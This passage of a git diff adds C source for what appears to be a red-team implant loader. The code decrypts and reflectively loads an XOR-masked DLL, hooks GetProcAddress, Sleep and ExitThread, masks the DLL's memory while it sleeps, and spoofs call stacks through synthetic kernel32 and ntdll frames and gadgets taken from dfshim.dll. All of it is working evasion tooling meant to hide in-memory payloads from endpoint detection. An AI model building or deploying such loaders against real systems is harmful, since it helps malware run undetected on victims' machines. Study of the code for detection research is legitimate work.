IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + /* set new permission */ + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + /* track memory */ + region->Sections[ i ].BaseAddress = section_dst; + region->Sections[ i ].Size = section_size; + region->Sections[ i ].CurrentProtect = new_protect; + region->Sections[ i ].PreviousProtect = new_protect; + + /* advance to section */ + section_hdr++; + } +} + +void go ( ) +{ + /* populate funcs */ + IMPORTFUNCS funcs; + funcs.LoadLibraryA = LoadLibraryA; + funcs.GetProcAddress = GetProcAddress; + + /* load the pico */ + char * pico_src = GETRESOURCE ( _PICO_ ); + + /* allocate memory for it */ + PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + /* load it into memory */ + PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); + + /* make code section RX */ + DWORD old_protect; + KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + + /* begin tracking memory allocations */ + MEMORY_LAYOUT memory = { 0 }; + + memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); + memory.Pico.Size = sizeof ( PICO ); + + memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); + memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); + memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; + memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; + memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); + memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); + memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; + memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; + + /* call setup_hooks to overwrite funcs.GetProcAddress */ + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); + + /* now load the dll (it's masked) */ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); + RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); + + /* load dll into memory and unmask it */ + char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + for ( int i = 0; i < masked_dll->len; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + LoadDLL ( &dll_data, dll_src, dll_dst ); + + /* track dll's memory */ + memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); + memory.Dll.Size = SizeOfDLL ( &dll_data ); + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); + + /* call setup_memory to give PICO the memory info */ + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); + + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + + /* free the unmasked copy */ + KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); + + entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); +} diff --git a/local-loader/src/loader.h b/local-loader/src/loader.h new file mode 100644 index 0000000..5bdf12b --- /dev/null +++ b/local-loader/src/loader.h @@ -0,0 +1,11 @@ +#define GETRESOURCE(x) ( char * ) &x + +typedef struct { + char data [ 4096 ]; + char code [ 16384 ]; +} PICO; + +typedef struct { + int len; + char value[]; +} RESOURCE; diff --git a/local-loader/src/mask.c b/local-loader/src/mask.c new file mode 100644 index 0000000..7afbe2d --- /dev/null +++ b/local-loader/src/mask.c @@ -0,0 +1,72 @@ +#include +#include "memory.h" +#include "spoof.h" + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); + +char xorkey [ 128 ] = { 1 }; + +void apply_mask ( char * data, DWORD len ) +{ + for ( DWORD i = 0; i < len; i++ ) + { + data [ i ] ^= xorkey [ i % 128 ]; + } +} + +BOOL is_writeable ( DWORD protection ) +{ + if ( protection == PAGE_EXECUTE_READWRITE || + protection == PAGE_EXECUTE_WRITECOPY || + protection == PAGE_READWRITE || + protection == PAGE_WRITECOPY ) + { + return TRUE; + } + + return FALSE; +} + +void xor_section ( MEMORY_SECTION * section, BOOL mask ) +{ + if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) + { + section->CurrentProtect = PAGE_READWRITE; + section->PreviousProtect = old_protect; + } + } + + if ( is_writeable ( section->CurrentProtect ) ) + { + apply_mask ( section->BaseAddress, section->Size ); + } + + if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) + { + section->CurrentProtect = section->PreviousProtect; + section->PreviousProtect = old_protect; + } + } +} + +void xor_region ( MEMORY_REGION * region, BOOL mask ) +{ + for ( int i = 0; i < 20; i++ ) + { + xor_section ( ®ion->Sections [ i ], mask ); + } +} + +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) +{ + xor_region ( &memory->Dll, mask ); +} diff --git a/local-loader/src/mask.h b/local-loader/src/mask.h new file mode 100644 index 0000000..9469faf --- /dev/null +++ b/local-loader/src/mask.h @@ -0,0 +1 @@ +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); \ No newline at end of file diff --git a/local-loader/src/memory.h b/local-loader/src/memory.h new file mode 100644 index 0000000..4bae792 --- /dev/null +++ b/local-loader/src/memory.h @@ -0,0 +1,17 @@ +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + DWORD CurrentProtect; + DWORD PreviousProtect; +} MEMORY_SECTION; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + MEMORY_SECTION Sections [ 20 ]; +} MEMORY_REGION; + +typedef struct { + MEMORY_REGION Pico; + MEMORY_REGION Dll; +} MEMORY_LAYOUT; diff --git a/local-loader/src/pico.c b/local-loader/src/pico.c new file mode 100644 index 0000000..932689d --- /dev/null +++ b/local-loader/src/pico.c @@ -0,0 +1,93 @@ +#include +#include "memory.h" +#include "mask.h" +#include "spoof.h" +#include "cleanup.h" +#include "tcg.h" + +MEMORY_LAYOUT g_memory; + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); + +FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) +{ + /* lpProcName may be an ordinal */ + if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) + { + /* just resolve normally */ + return GetProcAddress ( hModule, lpProcName ); + } + + FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); + + /* + * result may still be NULL if + * it wasn't hooked in the spec + */ + if ( result != NULL ) { + return result; + } + + return GetProcAddress ( hModule, lpProcName ); +} + +void setup_hooks ( IMPORTFUNCS * funcs ) +{ + funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; +} + +void setup_memory ( MEMORY_LAYOUT * layout ) +{ + if ( layout != NULL ) { + g_memory = * layout; + } +} + +/* + * throw these hooks in here because + * sharing a global across multiple + * modules is still a bit of a headache + */ + +VOID WINAPI _Sleep ( DWORD dwMilliseconds ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$Sleep ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwMilliseconds ); + + /* + * for performance reasons, only mask + * memory if sleep time is equal to + * or greater than 1 second + */ + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, TRUE ); + } + + spoof_call ( &call ); + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, FALSE ); + } +} + +VOID WINAPI _ExitThread ( DWORD dwExitCode ) +{ + /* free memory */ + cleanup_memory ( &g_memory ); + + /* call the real exit thread */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwExitCode ); + + spoof_call ( &call ); +} diff --git a/local-loader/src/services.c b/local-loader/src/services.c new file mode 100644 index 0000000..a0a1797 --- /dev/null +++ b/local-loader/src/services.c @@ -0,0 +1,15 @@ +#include + +/* patch function pointers in */ +__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = get_module_handle ( mod_name ); + return get_proc_address ( module, func_name ); +} diff --git a/local-loader/src/spoof.c b/local-loader/src/spoof.c new file mode 100644 index 0000000..ac69582 --- /dev/null +++ b/local-loader/src/spoof.c @@ -0,0 +1,390 @@ +#include +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); + +#define TEXT_HASH 0xEBC2F9B4 +#define RBP_OP_INFO 0x5 + +typedef struct { + LPCWSTR DllPath; + ULONG Offset; + ULONGLONG TotalStackSize; + BOOL RequiresLoadLibrary; + BOOL SetsFramePointer; + PVOID ReturnAddress; + BOOL PushRbp; + ULONG CountOfCodes; + BOOL PushRbpIndex; +} STACK_FRAME; + +typedef enum { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, + UWOP_ALLOC_SMALL, + UWOP_SET_FPREG, + UWOP_SAVE_NONVOL, + UWOP_SAVE_NONVOL_FAR, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR, + UWOP_PUSH_MACHFRAME +} UNWIND_CODE_OPS; + +typedef unsigned char UBYTE; + +typedef union { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE; + +typedef struct { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode [ 1 ]; +} UNWIND_INFO; + +typedef struct { + PVOID ModuleAddress; + PVOID FunctionAddress; + DWORD Offset; +} FRAME_INFO; + +typedef struct { + FRAME_INFO Frame1; + FRAME_INFO Frame2; + PVOID Gadget; +} SYNTHETIC_STACK_FRAME; + +typedef struct { + FUNCTION_CALL * FunctionCall; + PVOID StackFrame; + PVOID SpoofCall; +} DRAUGR_FUNCTION_CALL; + +typedef struct { + PVOID Fixup; + PVOID OriginalReturnAddress; + PVOID Rbx; + PVOID Rdi; + PVOID BaseThreadInitThunkStackSize; + PVOID BaseThreadInitThunkReturnAddress; + PVOID TrampolineStackSize; + PVOID RtlUserThreadStartStackSize; + PVOID RtlUserThreadStartReturnAddress; + PVOID Ssn; + PVOID Trampoline; + PVOID Rsi; + PVOID R12; + PVOID R13; + PVOID R14; + PVOID R15; +} DRAUGR_PARAMETERS; + +extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); + +#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) + +void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) +{ + PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); + PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); + + frame->Frame1.ModuleAddress = frame1_module; + frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); + frame->Frame1.Offset = 0x17; + + frame->Frame2.ModuleAddress = frame2_module; + frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); + frame->Frame2.Offset = 0x2c; + + // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); + + PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); + + if ( dfshim != NULL ) { + frame->Gadget = dfshim; + } else { + frame->Gadget = LoadLibraryA ( "dfshim.dll" ); + } +} + +BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) +{ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + + if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { + return FALSE; + } + + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); + + if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { + return FALSE; + } + + IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); + + for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) + { + DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); + + if ( h == TEXT_HASH ) + { + *virtual_address = section_header[ i ].VirtualAddress; + *size = section_header[ i ].SizeOfRawData; + + return TRUE; + } + } + + return FALSE; +} + +PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) +{ + UNWIND_INFO * unwind_info = NULL; + ULONG unwind_operation = 0; + ULONG operation_info = 0; + ULONG index = 0; + ULONG frame_offset = 0; + + STACK_FRAME stack_frame = { 0 }; + + if ( ! runtime_function ) { + return NULL; + } + + unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); + + while ( index < unwind_info->CountOfCodes ) + { + unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; + operation_info = unwind_info->UnwindCode[ index ].OpInfo; + + /* don't use switch as it produces jump tables */ + if ( unwind_operation == UWOP_PUSH_NONVOL ) + { + stack_frame.TotalStackSize += 8; + + if ( operation_info == RBP_OP_INFO ) + { + stack_frame.PushRbp = TRUE; + stack_frame.CountOfCodes = unwind_info->CountOfCodes; + stack_frame.PushRbpIndex = index + 1; + } + } + else if ( unwind_operation == UWOP_SAVE_NONVOL ) + { + index += 1; + } + else if ( unwind_operation == UWOP_ALLOC_SMALL ) + { + stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); + } + else if ( unwind_operation == UWOP_ALLOC_LARGE ) + { + index += 1; + frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; + + if (operation_info == 0) + { + frame_offset *= 8; + } + else + { + index += 1; + frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); + } + + stack_frame.TotalStackSize += frame_offset; + } + else if ( unwind_operation == UWOP_SET_FPREG ) + { + stack_frame.SetsFramePointer = TRUE; + } + else if ( unwind_operation == UWOP_SAVE_XMM128 ) + { + return NULL; + } + + index += 1; + } + + if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) + { + index = unwind_info->CountOfCodes; + + if ( 0 != ( index & 1 ) ) + { + index += 1; + } + + runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); + return calculate_function_stack_size ( runtime_function, image_base ); + } + + stack_frame.TotalStackSize += 8; + return ( PVOID ) ( stack_frame.TotalStackSize ); +} + +PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) +{ + RUNTIME_FUNCTION * runtime_function = NULL; + DWORD64 image_base = 0; + PUNWIND_HISTORY_TABLE history_table = NULL; + + if ( ! return_address ) { + return NULL; + } + + runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); + + if ( NULL == runtime_function ) { + return NULL; + } + + return calculate_function_stack_size ( runtime_function, image_base ); +} + +PVOID find_gadget( PVOID module ) +{ + BOOL found_gadgets = FALSE; + DWORD text_section_size = 0; + DWORD text_section_va = 0; + DWORD counter = 0; + ULONG seed = 0; + ULONG random = 0; + PVOID module_text_section = NULL; + + PVOID gadget_list [ 15 ] = { 0 }; + + if ( ! found_gadgets ) + { + if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { + return NULL; + } + + module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); + + for ( int i = 0; i < ( text_section_size - 2 ); i++ ) + { + /* x64 opcodes are ff 23 */ + if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) + { + /* check for a call before the gadget */ + if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) + { + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; + + if ( counter == 15 ) { + break; + } + } + } + } + + found_gadgets = TRUE; + } + + seed = 0x1337; + random = NTDLL$RtlRandomEx ( &seed ); + random %= counter; + + return gadget_list [ random ]; +} + +ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) +{ + int attempts = 0; + PVOID return_address = NULL; + + DRAUGR_PARAMETERS draugr_params = { 0 }; + + if ( ssn ) { + draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; + } + + SYNTHETIC_STACK_FRAME frame; + init_frame_info ( &frame ); + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); + draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.BaseThreadInitThunkReturnAddress = return_address; + + if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); + draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.RtlUserThreadStartReturnAddress = return_address; + + if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + do + { + draugr_params.Trampoline = find_gadget ( frame.Gadget ); + draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); + + attempts++; + + if ( attempts > 15 ) { + return ( ULONG_PTR ) ( NULL ); + } + + } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); + + if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { + return ( ULONG_PTR ) ( NULL ); + } + + return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); +} + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ) +{ + /* very inelegant */ + if ( call->argc == 0 ) { + return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 1 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 2 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 3 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 4 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 5 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 6 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 7 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 8 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); + } else if ( call->argc == 9 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); + } else if ( call->argc == 10 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); + } else if ( call->argc == 11 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); + } else if ( call->argc == 12 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); + } else { + return ( ULONG_PTR ) ( NULL ); + } +} diff --git a/local-loader/src/spoof.h b/local-loader/src/spoof.h new file mode 100644 index 0000000..ef25c1b --- /dev/null +++ b/local-loader/src/spoof.h @@ -0,0 +1,10 @@ +#define spoof_arg(x) ( ULONG_PTR ) ( x ) + +typedef struct { + PVOID ptr; + DWORD ssn; + int argc; + ULONG_PTR args[10]; +} FUNCTION_CALL; + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/postex-udrl/src/tcg.h b/local-loader/src/tcg.h similarity index 85% rename from postex-udrl/src/tcg.h rename to local-loader/src/tcg.h index fe9287c..553836d 100644 --- a/postex-udrl/src/tcg.h +++ b/local-loader/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -25,47 +25,62 @@ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ - + +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; - + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) - + typedef struct { IMAGE_DOS_HEADER * DosHeader; IMAGE_NT_HEADERS * NtHeaders; IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; - + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ void dprintf(char * format, ...); - + /* * PICO running functions */ typedef void (*PICOMAIN_FUNC)(char * arg); - + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); - + /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); - +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + /* * DLL parsing and loading functions */ typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); - + DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); void LoadDLL(DLLDATA * dll, char * src, char * dst); @@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data); void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); void ProcessRelocations(DLLDATA * dll, char * src, char * dst); DWORD SizeOfDLL(DLLDATA * data); - + /* * A macro to figure out our caller * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 @@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data); #else 